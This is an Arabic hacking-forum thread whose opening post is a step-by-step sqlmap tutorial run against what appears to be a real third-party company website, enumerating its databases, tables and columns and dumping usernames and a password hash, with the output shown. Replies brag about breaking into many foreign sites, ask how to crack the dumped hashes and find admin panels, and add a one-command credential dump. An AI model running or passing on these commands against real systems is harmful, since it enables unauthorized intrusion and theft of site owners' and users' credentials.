[دورة التوزيعات الامنية] استغلال ثغرات sql في الباك تراك

[r00t-minat0r]

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
الكل يعرف انه ثغرات sql من اقوى واكثر الثغرات انتشارا واحيانا تاخذ وقت في عملية الأستهداف ولاكن الان تستطيع استهداف المواقع المصابة بكل سرعة ممكنة باستخدام اداة في الباك تراك
اسم الأداة :sqlmap
مسار الاداة : /pentest/database/sqlmap
لغة البرمجة : python
الأن كيفية استخدام الاداة في عملية الحقن
اولا : استخراج اسماء قواعد البيانات
لنقل ان هذا الموقع مصاب بثغرة sql

http://www.bcspeakers.com/page.php?id=22
وكلنا نعرف كيفية الفحص وهي باضافة ' الى نهاية الرابط واذا وجد خطأ كان الموقع مصاب
الأن الأمر المستخدم في استخراج القواعد لهذا الموقع

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 --dbs

النتيجة

available databases [2]:

information_schema

www-bcspeakerstest

مثل ما شفتو تم استخراج القواعد والان القاعدة المستهدفة هي " www-bcspeakerstest"
ثانيا : استخراج الجداول
القاعدة المستهدفة هي " www-bcspeakerstest"
سوف يكون الأمر بهذا الشكل

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest --tables

والنتيجة كبيرة لن اضعها لانها تتكون من 59 جدول على كل حال انا وجدت الجدول المستهدف وهو "_user"
ثالثا : استخراج الأعمدة
الان نأتي الى استخراج الأعمدة الموجودة في جدول "_user"
الكود كالتالي

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user --columns

والنتيجة كالتالي

+----------+---------------------------+
| Column | Type |
+----------+---------------------------+
| id_user | int(10) unsigned zerofill |
| password | text |
| username | text |
+----------+---------------------------+
كما ترون الأعمدة المستهدفة هي
password
username
رابعا : اسخراج البيانات من الاعمدة
العمود الاول هو عامود اسم المستخدم "username" سوف يكون الكود كالتالي

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C username --dump

النتيجة

+--------------+
| username |
+--------------+
| becspeak2803 |
| becspeak2803 |
+--------------+

كما ترون استخرجنا اسم المستخدم
والان نأتي الى استخراج الباسورود
اكود مثل السابق مع تغيير اسم العامود الى عامود الباسوورد

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C password --dump

سوف تسألك الأداة اذا كنت تريد محاولة مقارنة الهاش مع قاعدة البيانات المرفقة باالأداة

recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q]

تختار مثل ما نت عاوز
انا اخترت لا لتسريع العملية والنتيجة كالتالي

+----------------------------------+
| password |
+----------------------------------+
| 286adae502ad9d5ab8c4f8644050b448 |
| 286adae502ad9d5ab8c4f8644050b448 |
+----------------------------------+
كما ترون تم استخراج البيانات بسرعة كبيرة
اتمنى ان يعجبكم الشرح
وأي استفسار انا جاهز
والسلام عليكم ورحمة الله وبركاته

[halk green]

والله بجد روعة الله يوفقك ، أتمنى المزيد والمزيد من مشاركاتك الرائعة والحصرية

[r00t-minat0r]

والله بجد روعة الله يوفقك ، أتمنى المزيد والمزيد من مشاركاتك الرائعة والحصرية
بارك الله فيك ومشكور على مرورك العطر

[Omar Hack]

بارك الله فيك أخوي العزيز
وزادك الله من علمه

[halk green]

والله مشكور عنجد مجهود رائع

[Ace]

الشرح الفديو بنزلو قريبا ومشكور اخي على الطرح استمر

[djxxjd]

niccccccccce

[djxxjd]

gooooooooooooood

[r00t-minat0r]

بارك الله فيك أخوي العزيز
وزادك الله من علمه
مشكور اخي عمر على مرورك اتمنى ان يكون الشرح ذا فائدة للجميع


الشرح الفديو بنزلو قريبا ومشكور اخي على الطرح استمر
ان شاء الله اخي العزيز مشكور على مرورك منور الموضوع
سوف نضع المزيد من المواضييع في هذا القسم الرائع بأذن الله خلاص انتهى زمان البيفروست وغيره


niccccccccce
مشكور على مرورك اخي الكريم

[Mad Devil]

مشكورررر يالغالي والله ماقصرت

ويا portgas~D~Ace

ممكن الفيديو لو سمحت يعني

[Ace]

مشكورررر يالغالي والله ماقصرت

ويا portgas~D~Ace

ممكن الفيديو لو سمحت يعني

عيوووووووووووووني اخي

[Hidden pain]

شرح روعة أخي
بارك الله فيك
استمر مع حصرياتك

[r00t-minat0r]

شرح روعة أخي
بارك الله فيك
استمر مع حصرياتك
مشكور اخي وانا يشرفني مرورك على الموضوع

[morgos]

شكرا لتعليمي ولكن كيف فك تشفير كلمة المرور (md5) الرجاء

[حيوش]

نعم كيف يتم فك التشفيررررررررر انا اخترقت كثير مواقع اجنبية ولاكن المشكلة في فك التشفيررررررررر الي يعرف يقول ؟؟؟؟؟؟؟؟

ومشكورررررررررر على الشرح المبدع

[مهكر القلوب]

مشكووووووووور بارك الله فيك

[hassan.dk]

مبدع مشاء الله الله يجعلنا من المستفيدين منك و مشكور اخي على المجهود :cool:

[hmezkcq]

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
الكل يعرف انه ثغرات sql من اقوى واكثر الثغرات انتشارا واحيانا تاخذ وقت في عملية الأستهداف ولاكن الان تستطيع استهداف المواقع المصابة بكل سرعة ممكنة باستخدام اداة في الباك تراك
اسم الأداة :sqlmap
مسار الاداة : /pentest/database/sqlmap
لغة البرمجة : python
الأن كيفية استخدام الاداة في عملية الحقن
اولا : استخراج اسماء قواعد البيانات
لنقل ان هذا الموقع مصاب بثغرة sql

http://www.bcspeakers.com/page.php?id=22
وكلنا نعرف كيفية الفحص وهي باضافة ' الى نهاية الرابط واذا وجد خطأ كان الموقع مصاب
الأن الأمر المستخدم في استخراج القواعد لهذا الموقع

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 --dbs

النتيجة

available databases [2]:

information_schema

www-bcspeakerstest

مثل ما شفتو تم استخراج القواعد والان القاعدة المستهدفة هي " www-bcspeakerstest"
ثانيا : استخراج الجداول
القاعدة المستهدفة هي " www-bcspeakerstest"
سوف يكون الأمر بهذا الشكل

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest --tables

والنتيجة كبيرة لن اضعها لانها تتكون من 59 جدول على كل حال انا وجدت الجدول المستهدف وهو "_user"
ثالثا : استخراج الأعمدة
الان نأتي الى استخراج الأعمدة الموجودة في جدول "_user"
الكود كالتالي

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user --columns

والنتيجة كالتالي

+----------+---------------------------+
| Column | Type |
+----------+---------------------------+
| id_user | int(10) unsigned zerofill |
| password | text |
| username | text |
+----------+---------------------------+
كما ترون الأعمدة المستهدفة هي
password
username
رابعا : اسخراج البيانات من الاعمدة
العمود الاول هو عامود اسم المستخدم "username" سوف يكون الكود كالتالي

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C username --dump

النتيجة

+--------------+
| username |
+--------------+
| becspeak2803 |
| becspeak2803 |
+--------------+

كما ترون استخرجنا اسم المستخدم
والان نأتي الى استخراج الباسورود
اكود مثل السابق مع تغيير اسم العامود الى عامود الباسوورد

python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C password --dump

سوف تسألك الأداة اذا كنت تريد محاولة مقارنة الهاش مع قاعدة البيانات المرفقة باالأداة

recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q]

تختار مثل ما نت عاوز
انا اخترت لا لتسريع العملية والنتيجة كالتالي

+----------------------------------+
| password |
+----------------------------------+
| 286adae502ad9d5ab8c4f8644050b448 |
| 286adae502ad9d5ab8c4f8644050b448 |
+----------------------------------+
كما ترون تم استخراج البيانات بسرعة كبيرة
اتمنى ان يعجبكم الشرح
وأي استفسار انا جاهز
والسلام عليكم ورحمة الله وبركاته



لو كان شرحا عبر فيديو لكان روعة أخي فيديو من فضلك

[قاتل الهكر]

مشكور على الموضوع اخوي

[EgYpT.HaCkEr]

رافو احلى تقيم

[السفاح M]

مشكور على المعلوات القيمة

[bade boo]

مشكوووووووووووووووور

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررر

[Ghost-007]

مشكوووووووووووووووور

[Ghost-007]

مشكور على المعلوات القيمة

[Ghost-007]

مشكوووووووووو

[Ghost-007]

مشكووووووووو

[Ghost-007]

مشكوررررررررررررررررررر

[Ghost-007]

مشكورررررررررررررررررر

[Ghost-007]

مشكوررررررررررررررررر

[Ghost-007]

مشكورررررررررررررررر

[Ghost-007]

مشكوررررررررررررر

[Ghost-007]

مشكورررررررررر

[Ghost-007]

مشكوررررررر

[Ghost-007]

مشكوررررةةةةةةةةةةةةةةةةة ةةةةةةةة

[Ghost-007]

مشكوررررةةةةةةةةةةةةةةةةة ةةةةةةةة

[Ghost-007]

مشكوررررةةةةةةةةةةةةةةةةة ةةةة

[Ghost-007]

مشكوررررةةةةةةةةةةةةةةةةة ةة

[Ghost-007]

مشكوررررةةةةةةةةةةةةةةةة

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر رررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر ررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر ررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر ررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر رررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررررررررررررررررررررررر رررررررر









مشكوررررررررررررررررررررر رررررررررررررررررررر

[Ghost-007]

مشكوررررررررررررررررررررر ررررر

[IQX]

مًًـُُـًــشـًَِـ:ـكـًــًؤ� �ؤِؤْر:) ♡♡♡♡♡

[jaroud007]

مشكور اخي و جزاك الله الف خيرو الله االله ينورك اخي جميل
تقبل مروري موفق بإذن الله ... لك مني أجمل تحية .

....قَالَ رَسُولُ اللَّهِ صلى الله عليه وسلم ‏
(("‏‏ مَنْ سُئِلَ عَنْ عِلْمٍ فَكَتَمَهُ أَلْجَمَهُ اللَّهُ بِلِجَامٍ مِنْ نَارٍ يَوْمَ الْقِيَامَةِ ‏"‏‏ )).

فَقَاتِلْ فِي سَبِيلِ اللَّهِ لا تُكَلَّفُ إِلا نَفْسَكَ وَحَرِّضِ الْمُؤْمِنِينَ
عَسَى اللَّهُ أَنْ يَكُفَّ بَأْسَ الَّذِينَ كَفَرُوا وَاللَّهُ أَشَدُّ بَأْسًا وَأَشَدُّ تَنْكِيلا

وقوله تعالى :

[ وَلاَ تَحْسَبَنَّ الَّذِينَ قُتِلُواْ فِي سَبِيلِ اللّهِ أَمْوَاتاً بَلْ أَحْيَاء عِندَ رَبِّهِمْ يُرْزَقُونَ{169} فَرِحِينَ بِمَا آتَاهُمُ اللّهُ مِن فَضْلِهِ وَ يَسْتَبْشِرُونَ بِالَّذِينَ لَمْ

يَلْحَقُواْ بِهِم مِّنْ خَلْفِهِمْ أَلاَّ خَوْفٌ عَلَيْهِمْ وَلاَ هُمْ يَحْزَنُونَ{170} يَسْتَبْشِرُونَ بِنِعْمَةٍ مِّنَ اللّهِ وَفَضْلٍ وَأَنَّ اللّهَ لاَ يُضِيعُ أَجْرَ الْمُؤْمِنِينَ{171} ]

سورة آل عمران

( قُلْ إِنَّ صَلَاتِي وَنُسُكِي وَمَحْيَايَ وَمَمَاتِي لِلَّهِ رَبّ الْعَالَمِينَ، لَا شَرِيكَ لَهُ وَبِذَلِكَ أُمِرْتُ وَأَنَا أَوَّلُ الْمُسْلِمِينَ )

صدق الله العضيم
سبحان الله عدد ما كان وعدد ما سيكون وعدد الصمت والسكون
الا ان حزب الله هم الغالبون
لن تركع امة قائدها محمد (ص)

لا تأسف على الزمان لطالما بلت على جتث الاسود كلاب لا قصدها ان تعلوا على اسياديها تبقى الاسود أسود وكلاب كلا تبقى الاسود

مخيفة في اسرها حتى وان نبحت عليها الكلاب

قـُل مآشئـت في مسبتـي فسكُوتي عن آلحقيـرٍ .. جوٍآإب ..
ليس ضعفا مني ولكن مامن اسد يرد على خطب..الكلاب ...
تعلم للمنفعة أو لرد الضرر
مشكور اخي
__________________
قال: الرسول صلى الله عليه وسلم

1- { من ترك صلاة الفجر فليس في وجه نور }
2- { من ترك صلاة الظهر فليس في رزقة بركه }
3- { من ترك صلاةالعصرفليس في جسمه قوة }
4- { من ترك صلاة المغرب فليس في أولادة ثمرهـ}
5- { من ترك صلاة العشاء فليس فينومه رأحه}
مشكور اخي

قال رسول الله صلى الله عليه وآله وسلم : 'الحمد لله الذي تواضع كلُّ شيء لعظمته، الحمد لله الذي استسلم كلُّ شيء لقدرته، الحمد لله الذي ذلَّ كلُّ شيء لعزته، الحمد لله الذي خضع كل شيء لملكه
من قال هذا الدعاء مرة واحدة، تكتب له 1000 حسنة ويرفع به 1000 درجة، ويوكل الله له 70000 ملك يستغفرون له إلى يوم القيامة .
حق على من سمع هذا الدعاء يعلمه لغيره ……والدال على الخير كفاعله
لا تحسبوا رقصي بينكم طربا ***فإن الطير يرقص مدبوحا من شدة الإلم

[sarahassan]

ابدااااااااااااااااااااع

[xXEnigmaXx]

بارك الله فيك
شكرا على المعلومات المفيدة

[سارة الغامدي]

يسلمؤؤؤؤ ..

[إُلقنـآصّ]

بارك الله فيك اخي شرح ولا اروع .. شكراً وتسلم يابطلٌ ..!

[marshall]

السلام عليكم و رحمة الله و بركاته
اشكرك على هدا الشرح الوفي لكن كيف افك تشفير باسورد كهدا 76e375e35ccca94a علما اني استعملت مواقع كثيرة لفك التشفير و لم احصل على نتيجة
شكرا

[عبد الله العزاني]

مشكور اخوي يعطيك الف عافية

[مُنتَقِمـ لِفَلـسطـين]

مشكور ما قصرت

[zias]

مشكورررر بارك الله فيك

[THABET Dz MEN]

مشكوووووووووووووووووووووو وووووووووووور

[المايسترو سيزار]

مشكور ويعطيك العافيه

[عبدالله97]

بارك الله فيك يعطيك العافية انشاء الله .......بالتوفيق

[محمد 2015]

مششكووووووووووووووور اخي

[مهدي-هكر]

هههههههه وصلت لموقع شوبنج بس ما عرفت مسار لوحة التحكم :wink: << إنهبل
ممكن تساعدوني بالخاص لو سمحتم عن طريقة إيجاد لوحة التحكم

[refland]

شرح واضح جدا جدا فقط هناك ملاحظة الموضوع لن يكون اكثر متعة الا اذا كنت تتقن الحقن اليدوي للاكواد عن جد هذا كلام اقوله عن علم

- - - تم التحديث - - -


هههههههه وصلت لموقع شوبنج بس ما عرفت مسار لوحة التحكم :wink: << إنهبل
ممكن تساعدوني بالخاص لو سمحتم عن طريقة إيجاد لوحة التحكم
لن اساعدك بشكل مباشر لكن ساوجهك بخصوص ان تجد لوحة التحكم لازم تفكر في سكريبت ما يساعدك على ايجاد لوحة التحكم سواء يعمل على البيرل او سيرفر شخصي من نوع php
كما انبهك لنقطة جد مهمة انه توجد اداة في الباتراك تساعدكعلى تحديد لو حة التحم فيه كثير كثير ادوات
موفق

- - - تم التحديث - - -


لو كان شرحا عبر فيديو لكان روعة أخي فيديو من فضلك
اخي انا احترم وجهت رايك ان يكون هناك فيديو لكن لو سمحت لي عن جد لو انت تتقن اكواد الحقن بشكل جيد وتميز بين الصفحات سكيول كما تحترف تخطي الفلترة وكل شيئ لن تحتاج الى فيديو لان الدرس واضح
كل مافيه يجب ان تعرف انه بعد تطبيق الامر
python sqlmap.py -u URLpage.php?id=22 --dbs

اللي يعمل على اعطائك اسم قاعدة البيانات التي هي بدورها تحتاجها لمعرفة الجداول ثم بعد معرفة الجداول لازم .........
بمعني لو انت بدات من الحقن اليدوي تفهم على طول
كمان فيه نقطة مهمة تتعلق بتحديد ثغرات سكيول اقصد هناك اداو في الباتراك جد رائعة اسمها
WAPITI
ستحتاجها لاستخراج ثغرات السكيول ادرس الاداة فهي مهمة
المهم ساعطيك فيديو
http://www.youtube.com/watch?v=GPPaGi86UDQ

[Abdullah Alhomsy]

بسم الله الرحمن الرحيم ~.

مشكور على الطريقة ~.

[كاسر المشاعر]

مشكووووووووووووووووووور

[ميستر انونيموس]

مشكورررر يالغالي والله ماقصرت

ويا portgas~D~Ace

ممكن الفيديو لو سمحت يعني
مشكوووووووووور

[mazen110m]

ما شاء الله عليك
تسلم يا غالى

[Alantry]

مشكوووووووور

- - - تم التحديث - - -

مشكوووووووور..

- - - تم التحديث - - -

مشكوووووووور...........

[yassine007]

بارك الله فيك مشكور

[dz roocker]

موضوع مفيد . لكن جرب استخراج user و pass بامر واحد
python sqlmap.py -u http://www.bcspeakers.com/page.php?id=22 -D www-bcspeakerstest -T _user -C user,password --dump

[MT3BHM]

بارك الله فيك ي الغالي

[MT3BHM]

ابداااااااااع

لتواصل معي سلسعيات هكر
او لتبادل الخبرات

bb: 7b5525c5

[MT3BHM]

ابدااااااع
لتواصل او تبادل الخبرات
bb: 7b5525c5

[Hitler07]

ولا زالت المشكله الكبرى امام الاسكيول ( الهاش ) عندي هاشات كثير بس كيف تنفك